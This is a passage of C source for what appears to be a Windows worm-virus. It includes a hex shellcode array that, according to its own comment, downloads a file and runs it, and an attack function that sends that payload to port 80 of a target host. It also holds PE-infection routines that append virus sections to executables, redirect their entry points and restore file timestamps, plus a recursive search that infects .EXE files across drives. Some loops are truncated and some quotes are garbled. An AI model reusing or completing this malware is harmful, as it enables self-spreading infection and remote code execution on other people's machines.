lsock = socket(AF_INET,SOCK_STREAM,0);

if(lsock<0)

{

// perror(“socket”);

return -1

}

reuse_addr = 1;

if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)

{

//perror(“setsockopt”);

close(lsock);

return -1

}

memset((char *)&local,0,sizeof(local));

local.sin_family = AF_INET;

local.sin_port = htons(port);

local.sin_addr.s_addr = htonl(INADDR_ANY);

if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)

{

//perror(“bind”);

close(lsock);

return -1

}

if(listen(lsock,1)<0)

{

// perror(“listen”);

close(lsock);

return -1

}

retry:

len = sizeof(remote);

csock = accept(lsock,(struct sockaddr *)&remote,&len);

if(csock<0)

{

if(errno!=EINTR)

{

//perror(“accept”);

close(lsock);

return -1

}

else

goto retry;

}

close(lsock);

return csock;

}

unsigned long __stdcall doweb(void *inr) {

char buf[1024];

SOCKET in = *((SOCKET *)inr);

recv(in,buf,1024,0);

send(in,mybytes,sizemybytes,0);

closesocket(in);

return 0;

}

//下面是redcode的shellcode

// this is the sploit code written by Dark Spyrit, it downloads a file and runs it

char sploit[] = { 0x47,

0x45, 0x54, 0x20, 0x2F, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xB0, 0x87, 0x67, 0x68, 0xB0, 0x87, 0x67,

0x68, 0x90, 0x90, 0x90, 0x90, 0x58, 0x58, 0x90, 0x33, 0xC0, 0x50, 0x5B, 0x53, 0x59, 0x8B,

0xDE, 0x66, 0xB8, 0x21, 0x02, 0x03, 0xD8, 0x32, 0xC0, 0xD7, 0x2C, 0x21, 0x88, 0x03, 0x4B,

0x3C, 0xDE, 0x75, 0xF4, 0x43, 0x43, 0xBA, 0xD0, 0x10, 0x67, 0x68, 0x52, 0x51, 0x53, 0xFF,

0x12, 0x8B, 0xF0, 0x8B, 0xF9, 0xFC, 0x59, 0xB1, 0x06, 0x90, 0x5A, 0x43, 0x32, 0xC0, 0xD7,

0x50, 0x58, 0x84, 0xC0, 0x50, 0x58, 0x75, 0xF4, 0x43, 0x52, 0x51, 0x53, 0x56, 0xB2, 0x54,

0xFF, 0x12, 0xAB, 0x59, 0x5A, 0xE2, 0xE6, 0x43, 0x32, 0xC0, 0xD7, 0x50, 0x58, 0x84, 0xC0,

0x50, 0x58, 0x75, 0xF4, 0x43, 0x52, 0x53, 0xFF, 0x12, 0x8B, 0xF0, 0x5A, 0x33, 0xC9, 0x50,

0x58, 0xB1, 0x05, 0x43, 0x32, 0xC0, 0xD7, 0x50, 0x58, 0x84, 0xC0, 0x50, 0x58, 0x75, 0xF4,

0x43, 0x52, 0x51, 0x53, 0x56, 0xB2, 0x54, 0xFF, 0x12, 0xAB, 0x59, 0x5A, 0xE2, 0xE6, 0x33,

0xC0, 0x50, 0x40, 0x50, 0x40, 0x50, 0xFF, 0x57, 0xF4, 0x89, 0x47, 0xCC, 0x33, 0xC0, 0x50,

0x50, 0xB0, 0x02, 0x66, 0xAB, 0x58, 0xB4, 0x50, 0x66, 0xAB, 0x58, 0xAB, 0xAB, 0xAB, 0xB1,

0x21, 0x90, 0x66, 0x83, 0xC3, 0x16, 0x8B, 0xF3, 0x43, 0x32, 0xC0, 0xD7, 0x3A, 0xC8, 0x75,

0xF8, 0x32, 0xC0, 0x88, 0x03, 0x56, 0xFF, 0x57, 0xEC, 0x90, 0x66, 0x83, 0xEF, 0x10, 0x92,

0x8B, 0x52, 0x0C, 0x8B, 0x12, 0x8B, 0x12, 0x92, 0x8B, 0xD7, 0x89, 0x42, 0x04, 0x52, 0x6A,

0x10, 0x52, 0xFF, 0x77, 0xCC, 0xFF, 0x57, 0xF8, 0x5A, 0x66, 0x83, 0xEE, 0x08, 0x56, 0x43,

0x8B, 0xF3, 0xFC, 0xAC, 0x84, 0xC0, 0x75, 0xFB, 0x41, 0x4E, 0xC7, 0x06, 0x8D, 0x8A, 0x8D,

0x8A, 0x81, 0x36, 0x80, 0x80, 0x80, 0x80, 0x33, 0xC0, 0x50, 0x50, 0x6A, 0x48, 0x53, 0xFF,

0x77, 0xCC, 0xFF, 0x57, 0xF0, 0x58, 0x5B, 0x8B, 0xD0, 0x66, 0xB8, 0xFF, 0x0F, 0x50, 0x52,

0x50, 0x52, 0xFF, 0x57, 0xE8, 0x8B, 0xF0, 0x58, 0x90, 0x90, 0x90, 0x90, 0x50, 0x53, 0xFF,

0x57, 0xD4, 0x8B, 0xE8, 0x33, 0xC0, 0x5A, 0x52, 0x50, 0x52, 0x56, 0xFF, 0x77, 0xCC, 0xFF,

0x57, 0xEC, 0x80, 0xFC, 0xFF, 0x74, 0x0F, 0x50, 0x56, 0x55, 0xFF, 0x57, 0xD8, 0x80, 0xFC,

0xFF, 0x74, 0x04, 0x85, 0xC0, 0x75, 0xDF, 0x55, 0xFF, 0x57, 0xDC, 0x33, 0xC0, 0x40, 0x50,

0x53, 0xFF, 0x57, 0xE4, 0x90, 0x90, 0x90, 0x90, 0xFF, 0x6C, 0x66, 0x73, 0x6F, 0x66, 0x6D,

0x54, 0x53, 0x21, 0x80, 0x8D, 0x84, 0x93, 0x86, 0x82, 0x95, 0x21, 0x80, 0x8D, 0x98, 0x93,

0x8A, 0x95, 0x86, 0x21, 0x80, 0x8D, 0x84, 0x8D, 0x90, 0x94, 0x86, 0x21, 0x80, 0x8D, 0x90,

0x91, 0x86, 0x8F, 0x21, 0x78, 0x8A, 0x8F, 0x66, 0x99, 0x86, 0x84, 0x21, 0x68, 0x8D, 0x90,

0x83, 0x82, 0x8D, 0x62, 0x8D, 0x8D, 0x90, 0x84, 0x21, 0x78, 0x74, 0x70, 0x64, 0x6C, 0x54,

0x53, 0x21, 0x93, 0x86, 0x84, 0x97, 0x21, 0x94, 0x86, 0x8F, 0x85, 0x21, 0x94, 0x90, 0x84,

0x8C, 0x86, 0x95, 0x21, 0x84, 0x90, 0x8F, 0x8F, 0x86, 0x84, 0x95, 0x21, 0x88, 0x86, 0x95,

0x89, 0x90, 0x94, 0x95, 0x83, 0x9A, 0x8F, 0x82, 0x8E, 0x86, 0x21, 0x90, 0x98, 0x8F, 0x4F,

0x86, 0x99, 0x86, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,

0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,

0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,

0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,

0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,

0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x2E,

0x68, 0x74, 0x72, 0x20, 0x48, 0x54, 0x54, 0x50, 0x2F, 0x31, 0x2E, 0x30, 0x0D, 0x0A, 0x0D,

0x0A };

void attack(char *host) {

SOCKET s;

struct hostent *he;

SOCKADDR_IN sout;

int i;

s = socket(AF_INET,SOCK_STREAM,0);

he = gethostbyname(host);

if (!he) return;

sout.sin_family = AF_INET;

sout.sin_addr.s_addr = *((unsigned long *)he->h_addr_list[0]);

sout.sin_port = htons(80);

i = connect(s,(LPSOCKADDR)&sout,sizeof(sout));

if (i!=0) return;

send(s,sploit,sizeof(sploit),0);

closesocket(s);

}

void setuphostname() {

char s[1024];

struct hostent *he;

int i;

gethostname(s,1024);

he = gethostbyname(s);

strcpy(s,he->h_name);

strcat(s,“!GET /iisworm.exe”);

for (i=0; i memcpy(sploit+sizeof(sploit)-102,he->h_name,strlen(he->h_name));

}

#define MEMALLOC(x) GlobalAlloc(GPTR, x)

#define MEMFREE(x) GlobalFree(x)

/////////////////////

// Type definitions

/////////////////////

typedef struct

{

WORD RelocOfs : 12;

WORD RelocType: 4;

} IMAGE_RELOCATION_DATA;

////////////

// Globals

////////////

IMAGE_NT_HEADERS PEHeader;

IMAGE_DOS_HEADER * IDosHeader;

IMAGE_NT_HEADERS * IPEHeader;

IMAGE_SECTION_HEADER * ISection;

IMAGE_SECTION_HEADER * Section = NULL;

int Generation = 1;

int VirusSections = 0;

int FirstVirusSection = 0;

int VirusCodeSection = 0;

int VirusImportSection = 0;

DWORD VirusImportSize = 0;

DWORD VirusRVAImports = 0;

DWORD HostRVAImports = 0;

int VirusRelocSection = 0;

DWORD VirusRelocSize = 0;

DWORD VirusRelocSizeDir = 0;

DWORD fsSections = 0;

DWORD VirusBaseRVA = 0;

DWORD VirusEP = 0;

DWORD HostEP = 0;

//// Fix for Visual C 5.0 heap

//extern __small_block_heap;

//////////////

// Functions

//////////////

/////////////////////////////////////

// GetProcAddress for ordinal imports

/////////////////////////////////////

DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)

{

IMAGE_NT_HEADERS * DLLHeader;

IMAGE_EXPORT_DIRECTORY * Exports;

DWORD * AddrFunctions;

DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);

Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);

return Base + AddrFunctions[NFunc - Exports->Base];

}

//////////////////////////////////

// Check file and read PE header

//////////////////////////////////

int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)

{

IMAGE_DOS_HEADER FileHeader;

WORD SizeSections;

DWORD BytesRead;

return

( // Read file header

( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )

&&

( BytesRead == sizeof(IMAGE_DOS_HEADER) )

&& // Check if EXE file

( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )

&& // Seek to NewExe header

( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )

&& // Read header

( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )

&&

( BytesRead == sizeof(IMAGE_NT_HEADERS) )

&& // Check if PE file

( PEHeader.Signature == IMAGE_NT_SIGNATURE )

&& // Alloc memory for file sections + virus sections

( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )

&&

( (Section = MEMALLOC(SizeSections)) != NULL )

&&

( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )

&& // Read PE sections

( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )

&&

( BytesRead == SizeSections )

&& // Check if there is enough room for our sections

( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )

&& // Only infect when entry point belongs to 1st section

// Avoid reinfections and compressors (usually perform. virus checks)

( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )

&& // Skip DDLs

( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )

&& // Skip files with overlays or not aligned to file alignment

( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )

&& //Check if the host will overwrite our code with its unitialized data (not present in disk)

( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )

);

}

///////////////////////////////////////

// Translates a RVA into a file offset

///////////////////////////////////////

DWORD RVA2Ofs(DWORD rva)

{

int NSect;

NSect = 0;

while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )

{

if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )

break;

NSect++;

}

return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));

}

////////////////////////////////////////////

// I can't remember what this function does

////////////////////////////////////////////

void InfectFile(HANDLE FHandle)

{

BYTE * Relocations = NULL;

BYTE * HostRelocs = NULL;

BYTE * Ptr;

IMAGE_BASE_RELOCATION * RelocBlock;

IMAGE_RELOCATION_DATA * PtrReloc;

int j;

// Let's do some initializations

Section = NULL;

Relocations = NULL;

HostRelocs = NULL;

Ptr = NULL;

if (ReadPEHeader(FHandle))

{

DWORD SectionRVA;

int HostNSections;

DWORD HostRelocsSize;

DWORD BytesRead;

int i;

HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;

HostNSections = PEHeader.FileHeader.NumberOfSections;

HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

// Search for victim import section

for (i=0; i {

if (Section[i].VirtualAddress + Section[i].SizeOfRawData >HostRVAImports)

{

// Do it writable

Section[i].Characteristics |= IMAGE_SCN_MEM_WRITE;

break;

}

}

// Check if last section is .reloc

HostRelocsSize = 0;

if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)

{

// Then we'll join it to virus reloc section

VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;

if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)

{

goto L_Exit_Infect;

}

else // Read the .reloc section

{

HostNSections--;

SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);

ReadFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);

SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);

}

}

else // There is no .reloc or it is not the last section

{

if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)

{ // There are relocs but we didn't find them, so exit

goto L_Exit_Infect;

}

VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;

SetFilePointer(FHandle, 0, NULL, FILE_END);

}

FirstVirusSection = HostNSections;

// Add virus section table

CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);

// Reloc virus code & fix reloc sections

if ((Relocations = MEMALLOC((VirusRelocSize >0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page

{

goto L_Exit_Infect;

}

CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);

RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;

PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));

// Reloc all virus sections and write them to disk

for (i=0; i {

DWORD RelocsInBlock;

Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT);

Section[HostNSections + i].VirtualAddress = SectionRVA;

Section[HostNSections + i].SizeOfRawData = (ISection[i].SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);

if (i == VirusRelocSection) // Virus reloc section?

{

PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;

PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;

Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;

Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);

// Write host relocations

WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);

// Add virus relocations

WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);

// Fill with zeros until file alignment

memset(Relocations, 0, 0x1000);

WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);

}

else

{

if ((Ptr = (BYTE *)MEMALLOC(ISection[i].SizeOfRawData)) == NULL)

{

goto L_Exit_Infect;

}

CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection[i].VirtualAddress), ISection[i].SizeOfRawData);

// Patch Visual C 5.0 heap in .data section

/*

{

DWORD * PtrHeap = &__small_block_heap;

if (((DWORD)IDosHeader + ISection[i].VirtualAddress < (DWORD)PtrHeap)

&&

((DWORD)IDosHeader + ISection[i].VirtualAddress + ISection[i].SizeOfRawData >(DWORD)PtrHeap)

)

{

PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection[i].VirtualAddress);

PtrHeap[3] = PtrHeap[2];

PtrHeap[4] = PtrHeap[5] = (DWORD)-1;

}

}

*/

// Do relocations in this section

while ( (ISection[i].VirtualAddress + ISection[i].SizeOfRawData >RelocBlock->VirtualAddress)

&&

((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)

)

{

DWORD Base;

Base = RelocBlock->VirtualAddress - ISection[i].VirtualAddress;

RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);

while (RelocsInBlock--)

{

if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)

{

*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection[i].VirtualAddress);//RelocBlock->VirtualAddress);

*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);

}

PtrReloc++;

}

RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection[i].VirtualAddress + SectionRVA;

RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;

PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));

}

// Check if this is the Import section

if (i == VirusImportSection)

{

IMAGE_IMPORT_DESCRIPTOR * Imports;

IMAGE_THUNK_DATA * DataImports;

DWORD StartImports;

DWORD DeltaRVAs;

DeltaRVAs = SectionRVA - ISection[i].VirtualAddress;

StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[i].VirtualAddress;

Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];

while (Imports->OriginalFirstThunk)

{

// Fix some initialized fields in memory

Imports->TimeDateStamp = Imports->ForwarderChain = 0;

Imports->OriginalFirstThunk += DeltaRVAs;

Imports->Name += DeltaRVAs;

Imports->FirstThunk += DeltaRVAs;

DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA];

do

{

DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);

}

while ((++DataImports)->u1.AddressOfData);

Imports++;

}

}

WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);

MEMFREE(Ptr);

Ptr = NULL;

}

SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);

}//for

// Recalculate Header fields

PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;

PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;

PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;

PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;

PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;

PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;

PEHeader.OptionalHeader.SizeOfImage = SectionRVA;

PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;

PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;

PEHeader.OptionalHeader.SizeOfCode = 0;

PEHeader.OptionalHeader.SizeOfInitializedData = 0;

PEHeader.OptionalHeader.SizeOfUninitializedData = 0;

for (j=0; j {

if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)

PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData;

if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)

PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;

if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)

PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;

}

// Write new header and section table

SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);

WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL);

WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);

}

L_Exit_Infect:

// Free allocated memory

if (HostRelocs != NULL)

MEMFREE(HostRelocs);

if (Relocations != NULL)

MEMFREE(Relocations);

if (Section != NULL)

MEMFREE(Section);

if (Ptr != NULL)

MEMFREE(Ptr);

}

///////////////////////////////////////////

// Recursively search for files to infect

///////////////////////////////////////////

void SearchFiles(char * Path)

{

HANDLE FindHandle;

HANDLE FHandle;

WIN32_FIND_DATA FindResult;

FILETIME Time1, Time2, Time3;

if (SetCurrentDirectory(Path))

{

// Search for EXE files in current directory

if ((FindHandle = FindFirstFile(“*.EXE”, &FindResult)) != INVALID_HANDLE_VALUE)

{

do

{

FHandle = CreateFile(FindResult.cFileName,

GENERIC_READ | GENERIC_WRITE,

0,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_ARCHIVE,

NULL

);

if (FHandle != INVALID_HANDLE_VALUE)

{

GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time

InfectFile(FHandle); // Infect file

SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time

CloseHandle(FHandle);

}

}

while (FindNextFile(FindHandle, &FindResult));

}

FindClose(FindHandle);

// Now search for subdirectories and process them

if ((FindHandle = FindFirstFile(“*”, &FindResult)) != INVALID_HANDLE_VALUE)

{

do

{

if (FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)

{

char * DirName;

DirName = _strupr(_strdup(FindResult.cFileName));

if (

(memcmp(DirName, “SYSTEM”, 6)) // Skip SYSTEM??

&&

(FindResult.cFileName[0] != '.') // Skip loops with “.” and “..”

)

{

SearchFiles(FindResult.cFileName);

}

free(DirName);

}

}

while (FindNextFile(FindHandle, &FindResult));

}

FindClose(FindHandle);

}

}

/////////////////////////////////////////////

// Search fixed and network drives to infect

/////////////////////////////////////////////

DWORD WINAPI SearchDrives()

{

DWORD Drives;

BYTE CurrentDrive[] = “A:”;

DWORD DriveType;

BYTE i;

Drives = GetLogicalDrives();

for (i=0; i {

if (Drives & (1< {

